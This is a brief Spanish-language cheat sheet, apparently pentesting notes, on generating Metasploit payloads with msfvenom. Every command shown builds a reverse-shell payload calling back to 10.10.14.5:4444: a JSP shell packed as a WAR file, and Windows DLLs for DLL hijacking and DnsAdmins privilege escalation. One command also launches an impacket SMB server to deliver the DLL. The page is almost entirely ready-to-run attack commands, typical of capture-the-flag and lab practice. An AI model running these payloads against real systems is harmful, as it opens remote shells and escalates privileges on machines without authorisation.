msfvenom
Genera payloads (exe, elf, php, war…) de Metasploit.
Instalación
sudo apt install metasploit-frameworkComandos
- 1. Crear un .war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war - DLL hijacking: crear la DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o hijack.dll - DnsAdmins: 1. la DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o dns.dll && impacket-smbserver share . -smb2support